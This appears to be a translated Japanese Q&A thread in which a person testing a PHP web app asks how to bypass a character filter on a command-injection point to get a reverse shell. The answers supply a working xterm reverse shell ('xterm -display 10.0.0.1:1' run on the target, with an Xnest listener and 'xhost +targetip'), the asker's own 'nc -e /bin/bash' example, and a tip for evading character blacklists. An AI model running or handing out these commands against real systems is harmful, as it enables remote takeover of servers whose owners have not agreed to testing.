web-dev-qa-db-ja.com

コマンド注入---バイパスのフィルタリング

私はPHP webappをテストしています。さまざまなコマンドインジェクションメソッドを試したところ、%0aのみを受け入れ、lsまたはid

ただし、コードは、リバースシェルを実行するために必要な| & ; ( " / > ’などの多くの文字をフィルタリングしています。 nc -e /bin/bashのように。

このフィルターをバイパスする方法に関する提案はありますか?

2
sixtiethocean

xtermを使用

リバースシェルの最も単純な形式の1つは、xtermセッションです。次のコマンドをターゲットで実行する必要があります。 TCPポート6001でシステム(例10.0.0.1)に接続しようとします。

xterm -display 10.0.0.1:1

着信xtermをキャッチするには、Xサーバー(:1 – TCPポート6001)でリッスンします。これを行う1つの方法は、Xnest(システムで実行する)を使用することです。

Xnest :1

ターゲットをシステムに接続することを承認する必要があります(コマンドはシステムでも実行されます)。

xhost +targetip

ブラックリストを安全確保の失敗と見なしてください。

文字のブラックリストは安全ではないため、リスト自体をバイパスすることを検討する必要があります。

例:^| ではありません |しかし、それは仕事をします。

2
Lucian Nitescu